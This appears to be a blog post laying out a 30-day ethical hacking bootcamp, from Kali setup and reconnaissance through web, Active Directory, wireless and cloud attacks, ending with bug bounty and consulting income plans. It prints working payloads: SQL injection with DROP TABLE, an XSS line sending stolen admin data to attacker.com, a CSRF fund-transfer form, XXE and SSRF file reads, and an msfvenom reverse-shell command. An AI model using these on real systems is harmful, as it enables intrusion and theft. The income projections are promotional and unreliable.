30-Day Ethical Hacking Bootcamp: Zero to Hero

Master Cybersecurity & Build Passive Income Streams

Week 1: Foundation & Environment Setup (Days 1-7)

Day 1: Introduction to Ethical Hacking

Goal: Understand the ethical hacking landscape and career opportunities

Morning (4 hours):

What is ethical hacking and why it matters
Legal aspects and responsible disclosure
Career paths: Bug bounties, pentesting, security consulting
Understanding the hacker mindset and methodology

Afternoon (4 hours):

Setting up your hacking environment
Install Kali Linux (VirtualBox/VMware)
Basic Linux commands and navigation
Terminal proficiency exercises

Evening (2 hours):

Join bug bounty platforms (HackerOne, Bugcrowd, Intigriti)
Create professional profiles
Study successful bug bounty reports

Practice Lab: Complete 20 basic Linux commands exercises

Day 2: Networking Fundamentals

Goal: Master network concepts essential for hacking

Morning (4 hours):

TCP/IP stack deep dive
OSI model and protocol analysis
Network topologies and architecture
Subnetting and VLANS

Afternoon (4 hours):

Wireshark packet analysis
Network scanning with Nmap
Understanding ports and services
Firewall basics and bypass techniques

Tools to Master:

bash

# Network reconnaissance
nmap -sS -A -O target.com
nmap -sU --top-ports 1000 target.com
wireshark  # GUI packet analyzer
tcpdump -i eth0 -w capture.pcap

# Network discovery
netdiscover -r 192.168.1.0/24
arp-scan -l

Evening (2 hours):

Hands-on network mapping exercises
Study real-world network vulnerabilities

Day 3: Web Technologies & HTTP Protocol

Goal: Understand web applications and HTTP deeply

Morning (4 hours):

HTTP/HTTPS protocol analysis
Request/response headers and methods
Cookies, sessions, and authentication
Web application architecture (frontend/backend)

Afternoon (4 hours):

Burp Suite setup and configuration
Intercepting and modifying HTTP requests
Browser developer tools mastery
Understanding REST APIs and GraphQL

Tools Setup:

bash

# Install and configure Burp Suite Professional
# Set up browser proxy settings
# Configure certificates for HTTPS interception

# Command line tools
curl -X POST -H "Content-Type: application/json" -d '{"data":"test"}' url
wget --header="Custom-Header: value" url

Evening (2 hours):

Practice HTTP request manipulation
Study OWASP Top 10 vulnerabilities overview

Day 4: Information Gathering & OSINT

Goal: Master reconnaissance and information gathering techniques

Morning (4 hours):

Passive reconnaissance techniques
Google dorking and advanced search operators
Social media intelligence (SOCMINT)
DNS enumeration and subdomain discovery

OSINT Techniques:

bash

# Subdomain enumeration
subfinder -d target.com
assetfinder target.com
amass enum -d target.com

# DNS reconnaissance
dig target.com
nslookup target.com
dnsrecon -d target.com

# Google dorking examples
site:target.com filetype:pdf
intitle:"index of" site:target.com
inurl:admin site:target.com

Afternoon (4 hours):

Active reconnaissance methods
Port scanning strategies
Service enumeration techniques
Vulnerability scanning basics

Evening (2 hours):

OSINT challenge exercises
Build reconnaissance checklist

Day 5: Vulnerability Assessment

Goal: Learn to identify and classify vulnerabilities

Morning (4 hours):

Understanding CVE database and scoring
Automated vulnerability scanning
Manual testing techniques
Risk assessment and prioritization

Tools Mastery:

bash

# Vulnerability scanners
nessus  # Professional scanner
openvas  # Open source alternative
nikto -h target.com  # Web vulnerability scanner
nuclei -t vulnerabilities/ -u target.com

Afternoon (4 hours):

Hands-on vulnerability assessment lab
Analyzing scan results
False positive identification
Creating vulnerability reports

Evening (2 hours):

Practice on intentionally vulnerable applications:
- DVWA (Damn Vulnerable Web Application)
- bWAPP
- WebGoat

Day 6: Cryptography & Password Security

Goal: Understand encryption and password attack techniques

Morning (4 hours):

Symmetric vs asymmetric encryption
Hash functions and digital signatures
SSL/TLS protocol analysis
Common cryptographic vulnerabilities

Afternoon (4 hours):

Password cracking techniques
Dictionary and brute force attacks
Rainbow tables and hash analysis
Social engineering for password gathering

Practical Tools:

bash

# Password cracking
john --wordlist=rockyou.txt hashes.txt
hashcat -a 0 -m 1000 hashes.txt wordlist.txt
hydra -l admin -P passwords.txt ssh://target.com

# Hash analysis
hash-identifier
hashid hash_value

Evening (2 hours):

Practice password cracking labs
Study famous cryptographic failures

Day 7: Social Engineering Fundamentals

Goal: Understand human psychology in security

Morning (4 hours):

Psychology of social engineering
Common attack vectors (phishing, pretexting, baiting)
Physical security considerations
Building trust and rapport techniques

Afternoon (4 hours):

Phishing campaign creation
Email security analysis
Phone-based social engineering
Physical penetration testing basics

Tools and Techniques:

bash

# Phishing tools (for authorized testing only)
gophish  # Phishing framework
setoolkit  # Social Engineer Toolkit

# Email analysis
# Study email headers for spoofing detection
# DMARC, SPF, DKIM analysis

Evening (2 hours):

Study real social engineering case studies
Practice OSINT for social engineering prep

Week 1 Assessment: Complete a mini penetration test report

Week 2: Web Application Security (Days 8-14)

Day 8: SQL Injection Mastery

Goal: Master SQL injection techniques and prevention

Morning (4 hours):

SQL injection fundamentals
Union-based SQL injection
Boolean-based blind SQL injection
Time-based blind SQL injection

Practical Exploitation:

bash

# SQLMap usage
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u target.com --forms --batch --crawl=2

# Manual SQL injection testing
' OR '1'='1
'; DROP TABLE users; --
UNION SELECT 1,2,3,4,database()--

Afternoon (4 hours):

Advanced SQL injection techniques
NoSQL injection attacks
SQL injection in different contexts (GET, POST, Headers)
Bypassing WAF and filters

Evening (2 hours):

Practice on SQLi labs
Study real SQL injection bug bounty reports

Day 9: Cross-Site Scripting (XSS)

Goal: Master all types of XSS vulnerabilities

Morning (4 hours):

Reflected XSS exploitation
Stored XSS persistence techniques
DOM-based XSS analysis
XSS payload construction and encoding

XSS Payloads:

javascript

// Basic XSS payloads
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
javascript:alert('XSS')

// Advanced payloads
<script>fetch('/admin/users').then(r=>r.text()).then(d=>new Image().src='//attacker.com/?'+btoa(d))</script>

// Bypass techniques
<SCrIPt>alert('XSS')</sCRiPt>
<script>eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))</script>

Afternoon (4 hours):

XSS filter bypass techniques
Context-aware XSS exploitation
XSS in modern frameworks (React, Angular, Vue)
Content Security Policy (CSP) bypass

Evening (2 hours):

XSS challenge labs
Build custom XSS payloads

Day 10: Cross-Site Request Forgery (CSRF)

Goal: Understand and exploit CSRF vulnerabilities

Morning (4 hours):

CSRF attack fundamentals
Token-based protection bypass
SameSite cookie analysis
CSRF in API endpoints

CSRF Exploitation:

html

<!-- Basic CSRF attack -->
<form action="https://target.com/transfer" method="POST">
  <input type="hidden" name="amount" value="1000">
  <input type="hidden" name="to" value="attacker_account">
  <input type="submit" value="Click me!">
</form>

<script>document.forms[0].submit();</script>

Afternoon (4 hours):

JSON CSRF attacks
CSRF in single-page applications
Combining CSRF with other vulnerabilities
CSRF prevention mechanisms analysis

Evening (2 hours):

CSRF lab exercises
Study real-world CSRF exploitation

Day 11: Authentication & Session Management

Goal: Master authentication bypass techniques

Morning (4 hours):

Authentication mechanism analysis
Session fixation and hijacking
JWT token vulnerabilities
OAuth 2.0 and OpenID Connect flaws

JWT Attacks:

bash

# JWT analysis tools
jwt_tool.py token.jwt
python3 jwt_cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...

# Common JWT vulnerabilities
# Algorithm confusion (RS256 to HS256)
# None algorithm attack
# Weak secret brute forcing

Afternoon (4 hours):

Multi-factor authentication bypass
Password reset vulnerabilities
Account takeover techniques
Privilege escalation through authentication flaws

Evening (2 hours):

Authentication testing labs
Build authentication attack automation

Day 12: Business Logic Vulnerabilities

Goal: Find logic flaws in applications

Morning (4 hours):

Understanding business logic
Race condition vulnerabilities
Price manipulation attacks
Workflow bypass techniques

Common Logic Flaws:

Negative quantity purchases
Discount code stacking
Concurrent request exploitation
State machine violations

Afternoon (4 hours):

E-commerce security testing
Banking application logic flaws
API rate limiting bypass
Time-of-check to time-of-use (TOCTOU) attacks

Evening (2 hours):

Business logic challenge labs
Case study analysis of famous logic flaws

Day 13: File Upload & Server-Side Vulnerabilities

Goal: Master file upload and server-side attacks

Morning (4 hours):

File upload vulnerability analysis
Remote code execution via file upload
Path traversal attacks
Local file inclusion (LFI) and remote file inclusion (RFI)

File Upload Bypasses:

bash

# Extension bypasses
shell.php.jpg
shell.php%00.jpg
shell.pHp

# Content-Type bypasses
# Magic byte manipulation
# Double extension exploitation

Afternoon (4 hours):

Server-side request forgery (SSRF)
XML external entity (XXE) attacks
Command injection techniques
Deserialization vulnerabilities

Tools and Payloads:

bash

# SSRF payloads
http://localhost:80/admin
http://169.254.169.254/latest/meta-data/
file:///etc/passwd

# XXE payloads
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

Evening (2 hours):

Server-side vulnerability labs
Automated payload generation

Day 14: API Security Testing

Goal: Master API penetration testing

Morning (4 hours):

REST API security fundamentals
GraphQL security testing
API authentication mechanisms
Rate limiting and abuse prevention

API Testing Tools:

bash

# API discovery and testing
ffuf -w api_wordlist.txt -u http://target.com/api/FUZZ
postman  # GUI API testing tool
insomnia  # Alternative API client

# GraphQL testing
graphql-voyager  # Schema visualization
graphiql  # Interactive GraphQL explorer

Afternoon (4 hours):

API endpoint enumeration
Parameter pollution attacks
Mass assignment vulnerabilities
API versioning security issues

Evening (2 hours):

API security testing lab
Build API fuzzing automation

Week 2 Assessment: Complete web application penetration test

Week 3: Advanced Exploitation (Days 15-21)

Day 15: Buffer Overflows & Binary Exploitation

Goal: Understand memory corruption vulnerabilities

Morning (4 hours):

Memory layout and stack operations
Buffer overflow fundamentals
Shellcode development basics
Return-oriented programming (ROP)

Tools Setup:

bash

# Binary analysis tools
gdb-peda  # Enhanced GDB
radare2   # Reverse engineering framework
objdump -d binary  # Disassembly
strings binary     # String extraction

# Exploit development
msfvenom -p linux/x86/shell_reverse_tcp LHOST=attacker_ip LPORT=4444 -f c

Afternoon (4 hours):

Practical buffer overflow exploitation
Bypassing ASLR and DEP/NX
Format string vulnerabilities
Heap overflow basics

Evening (2 hours):

Binary exploitation challenges
Study famous buffer overflow exploits

Day 16: Privilege Escalation

Goal: Master privilege escalation techniques

Morning (4 hours):

Linux privilege escalation
Windows privilege escalation
Kernel exploits and local vulnerabilities
Container escape techniques

Linux PrivEsc Commands:

bash

# System enumeration
uname -a
cat /etc/os-release
ps aux
netstat -tulpn
crontab -l

# SUID/SGID binaries
find / -perm -4000 2>/dev/null
find / -perm -2000 2>/dev/null

# Automated tools
linpeas.sh
linux-exploit-suggester.sh

Afternoon (4 hours):

Windows privilege escalation techniques
Service hijacking and DLL injection
Registry and group policy exploitation
Token impersonation attacks

Windows PrivEsc Tools:

powershell

# PowerShell enumeration
Get-Process
Get-Service
Get-ScheduledTask
whoami /priv

# Automated tools
winpeas.exe
powerup.ps1

Evening (2 hours):

Privilege escalation labs
Build custom escalation scripts

Day 17: Active Directory Exploitation

Goal: Master Windows domain penetration testing

Morning (4 hours):

Active Directory fundamentals
Kerberos authentication attacks
LDAP enumeration techniques
Group Policy exploitation

AD Attack Techniques:

bash

# Domain enumeration
enum4linux target.com
ldapsearch -x -h domain_controller

# Kerberos attacks
impacket-GetNPUsers domain.com/ -usersfile users.txt -no-pass -dc-ip dc_ip
impacket-GetUserSPNs domain.com/user:password -dc-ip dc_ip -request

# BloodHound analysis
bloodhound-python -d domain.com -u user -p password -gc dc.domain.com -c all

Afternoon (4 hours):

Pass-the-hash and pass-the-ticket attacks
Golden ticket and silver ticket generation
DCSync and DCShadow attacks
Persistence in Active Directory

Evening (2 hours):

Active Directory lab environment
Advanced AD attack chains

Day 18: Wireless Network Security

Goal: Learn wireless penetration testing

Morning (4 hours):

802.11 protocol analysis
WPA/WPA2/WPA3 security mechanisms
Wireless reconnaissance techniques
Evil twin and rogue access point attacks

Wireless Tools:

bash

# Monitor mode setup
airmon-ng start wlan0
iwconfig wlan0mon channel 6

# Network discovery
airodump-ng wlan0mon
kismet

# WPA/WPA2 attacks
aircrack-ng -w wordlist.txt capture.cap
hashcat -m 2500 capture.hccapx wordlist.txt

Afternoon (4 hours):

WPS attacks and vulnerabilities
Bluetooth security testing
Wireless intrusion detection evasion
Post-exploitation in wireless networks

Evening (2 hours):

Wireless security challenges
Build portable wireless testing kit

Day 19: Mobile Application Security

Goal: Learn mobile app penetration testing

Morning (4 hours):

Android application security fundamentals
APK analysis and reverse engineering
Dynamic analysis techniques
iOS security testing basics

Mobile Testing Tools:

bash

# Android tools
jadx  # Java decompiler
apktool d application.apk
dex2jar application.apk

# Dynamic analysis
frida  # Dynamic instrumentation
objection  # Runtime mobile exploration

Afternoon (4 hours):

OWASP Mobile Top 10 vulnerabilities
API security in mobile applications
Certificate pinning bypass
Root/jailbreak detection bypass

Evening (2 hours):

Mobile app security labs
Study mobile bug bounty reports

Day 20: Cloud Security

Goal: Master cloud penetration testing

Morning (4 hours):

AWS security fundamentals
S3 bucket misconfigurations
IAM privilege escalation
EC2 and Lambda security testing

Cloud Security Tools:

bash

# AWS enumeration
aws s3 ls s3://bucket-name --no-sign-request
aws iam list-users --profile compromised
scout2  # AWS security auditing tool

# Azure enumeration
az ad user list
az vm list
MicroBurst  # PowerShell toolkit for Azure

Afternoon (4 hours):

Azure and Google Cloud Platform security
Container security testing (Docker, Kubernetes)
Serverless security vulnerabilities
Cloud storage misconfigurations

Evening (2 hours):

Cloud security assessment lab
Build cloud reconnaissance automation

Day 21: Advanced Persistent Threats (APT)

Goal: Understand advanced attack techniques

Morning (4 hours):

APT methodology and tactics
Command and control (C2) frameworks
Evasion techniques and anti-forensics
Living off the land attacks

C2 Frameworks:

bash

# Cobalt Strike simulation
# Metasploit advanced usage
# Empire PowerShell framework
# Covenant .NET framework

Afternoon (4 hours):

Persistence mechanisms
Lateral movement techniques
Data exfiltration methods
Attribution and threat intelligence

Evening (2 hours):

APT simulation exercises
Threat hunting fundamentals

Week 3 Assessment: Advanced penetration testing scenario

Week 4: Monetization & Career Development (Days 22-30)

Day 22: Bug Bounty Mastery

Goal: Become a successful bug bounty hunter

Morning (4 hours):

Choosing profitable targets
Scope analysis and target prioritization
Automation for bug bounty hunting
Building a bug bounty methodology

Bug Bounty Tools:

bash

# Automated reconnaissance
subfinder -d target.com -silent | httpx -silent | nuclei -t exposures/
amass enum -passive -d target.com | httprobe | waybackurls

# Content discovery
ffuf -w wordlist.txt -u http://target.com/FUZZ -mc 200,301,302,403
gobuster dir -u http://target.com -w wordlist.txt -x php,html,js

Afternoon (4 hours):

Report writing for bug bounties
Communication with security teams
Negotiating bounty amounts
Building relationships in the security community

Evening (2 hours):

Practice bug bounty hunting
Study successful bounty hunters' strategies

Day 23: Penetration Testing Services

Goal: Start offering penetration testing services

Morning (4 hours):

Penetration testing methodology (OWASP, NIST)
Client scoping and requirements gathering
Legal contracts and liability issues
Pricing strategies for penetration testing

Afternoon (4 hours):

Professional report writing
Executive summary creation
Risk assessment and business impact analysis
Remediation recommendations

Evening (2 hours):

Create penetration testing templates
Build client onboarding process

Day 24: Security Consulting & Training

Goal: Develop consulting and training revenue streams

Morning (4 hours):

Identifying consulting opportunities
Security awareness training development
Incident response consulting
Compliance and audit assistance

Afternoon (4 hours):

Creating training materials
Online course development
Workshop and seminar planning
Building thought leadership

Evening (2 hours):

Develop training curriculum
Create marketing materials

Day 25: Automation & Tool Development

Goal: Build automated tools for passive income

Morning (4 hours):

Python for security automation
Custom vulnerability scanners
API development for security services
Tool monetization strategies

Automation Examples:

python

# Automated reconnaissance pipeline
import subprocess
import requests
from concurrent.futures import ThreadPoolExecutor

def subdomain_enum(domain):
    # Automated subdomain discovery
    pass

def vulnerability_scan(target):
    # Custom vulnerability scanning
    pass

def generate_report(results):
    # Automated report generation
    pass

Afternoon (4 hours):

Building SaaS security products
Open source tool development
GitHub monetization strategies
API-based security services

Evening (2 hours):

Code security automation tools
Test automation framework

Day 26: Content Creation & Personal Branding

Goal: Build online presence for long-term income

Morning (4 hours):

Technical blog writing
YouTube channel development
Social media strategy
Speaking at conferences and events

Content Strategy:

Weekly technical blog posts
Monthly video tutorials
Daily social media engagement
Quarterly conference presentations

Afternoon (4 hours):

Building email lists
Creating premium content
Affiliate marketing opportunities
Sponsored content strategies

Evening (2 hours):

Create content calendar
Develop personal brand assets

Day 27: Certification & Credentials

Goal: Obtain valuable security certifications

Morning (4 hours):

CEH (Certified Ethical Hacker) preparation
OSCP (Offensive Security Certified Professional) planning
CISSP and other management certifications
Industry-specific certifications

Certification Timeline:

Month 1-2: CEH certification
Month 3-6: OSCP certification
Month 6-12: Advanced certifications (CISSP, CISM)

Afternoon (4 hours):

Practice exam preparation
Hands-on lab completion
Study group participation
Certification maintenance planning

Evening (2 hours):

Schedule certification exams
Create study schedule

Day 28: Network Building & Community

Goal: Build professional network for opportunities

Morning (4 hours):

Joining security communities
Conference networking strategies
Online community participation
Mentor relationship development

Key Communities:

OWASP local chapters
DEF CON groups
2600 meetings
InfoSec Twitter community
LinkedIn security groups

Afternoon (4 hours):

Contributing to open source projects
Speaking at local meetups
Writing for security publications
Participating in CTF competitions

Evening (2 hours):

Update professional profiles
Connect with industry professionals

Day 29: Business Development

Goal: Create sustainable income streams

Morning (4 hours):

Client acquisition strategies
Proposal writing and sales
Pricing and packaging services
Building recurring revenue

Service Packages:

Starter Package: Basic web app assessment ($2,000-$5,000)
Professional Package: Full penetration test ($5,000-$15,000)
Enterprise Package: Comprehensive security assessment ($15,000-$50,000)
Retainer Services: Ongoing security support ($5,000-$20,000/month)

Afternoon (4 hours):

Marketing automation setup
CRM system implementation
Invoice and payment processing
Client retention strategies

Evening (2 hours):

Financial planning and tracking
Business insurance and legal setup

Day 30: Launch & Scale Strategy

Goal: Launch your ethical hacking business

Morning (4 hours):

Final business setup completion
Website and portfolio launch
Marketing campaign initiation
First client acquisition

Afternoon (4 hours):

Scaling strategies planning
Team building considerations
International market expansion
Long-term vision development

Revenue Projections:

Month 1-3: $2,000-$5,000 (bug bounties, small projects)
Month 4-6: $5,000-$15,000 (established clients, consulting)
Month 7-12: $15,000-$50,000 (full business operation)
Year 2+: $100,000+ (scaled business, passive income streams)

Evening (2 hours):

Celebrate completion!
Plan next 90 days
Set annual goals

Passive Income Strategies Summary

1. Bug Bounty Hunting ($500-$50,000+ per bug)

Platform diversification (HackerOne, Bugcrowd, Synack)
Automated reconnaissance systems
Specialized vulnerability research

2. Security Services ($2,000-$50,000+ per engagement)

Penetration testing
Security consulting
Incident response
Compliance auditing

3. Content & Training ($1,000-$10,000+ per month)

Online courses (Udemy, Pluralsight)
Technical blog monetization
YouTube channel revenue
Speaking engagements

4. Tool Development ($500-$5,000+ per month)

SaaS security products
API-based services
Open source sponsorship
Custom tool development

5. Affiliate & Partnerships ($200-$2,000+ per month)

Security tool recommendations
Training program partnerships
Conference sponsorships
Book and course affiliates

Essential Tools & Resources

Free Tools:

Kali Linux, Parrot OS
Burp Suite Community
OWASP ZAP
Nmap, Nikto, SQLMap
Metasploit Community

Premium Tools (ROI Investment):

Burp Suite Professional ($399/year)
Nessus Professional ($3,390/year)
Cobalt Strike ($3,500/year)
VMware Workstation Pro ($249)

Learning Resources:

PortSwigger Web Security Academy (Free)
TryHackMe, HackTheBox
Cybrary, Pluralsight
SANS training courses
Security conferences (DEF CON, Black Hat)

Success Metrics & Milestones

Week 1-2 Milestones:

Complete environment setup
Master basic reconnaissance
Find first XSS vulnerability
Submit first bug bounty report

Month 1-3 Goals:

Earn first $1,000 from bug bounties
Complete 10 vulnerability assessments
Obtain CEH certification
Build professional network of 100+ connections

Month 3-6 Goals:

Generate $5,000+ monthly income
Launch consulting services
Obtain OSCP certification
Speak at local security meetup

Month 6-12 Goals:

Scale to $15,000+ monthly income
Build team of 2-3 security professionals
Launch online training course
Establish thought leadership in niche area

Daily Schedule Template:

6:00-8:00 AM: Study time (theory, certifications)
8:00-12:00 PM: Hands-on practice (labs, challenges)
1:00-5:00 PM: Real-world application (bug bounties, client work)
6:00-8:00 PM: Community engagement, content creation
8:00-10:00 PM: Planning, documentation, business development

Final Success Tips:

Consistency: Practice daily, even if just 1-2 hours
Documentation: Keep detailed notes and build your methodology
Community: Engage with security professionals regularly
Ethics: Always maintain ethical standards and responsible disclosure
Business: Treat security as a business from day one
Continuous Learning: Technology changes rapidly, keep learning
Specialization: Develop deep expertise in 2-3 areas
Automation: Automate repetitive tasks to scale your impact

Remember: Ethical hacking success comes from consistent practice, continuous learning, and building genuine value for organizations. The technical skills are just the foundation - business acumen, communication skills, and professional relationships are equally important for long-term success and passive income generation.

Sunday, 24 August 2025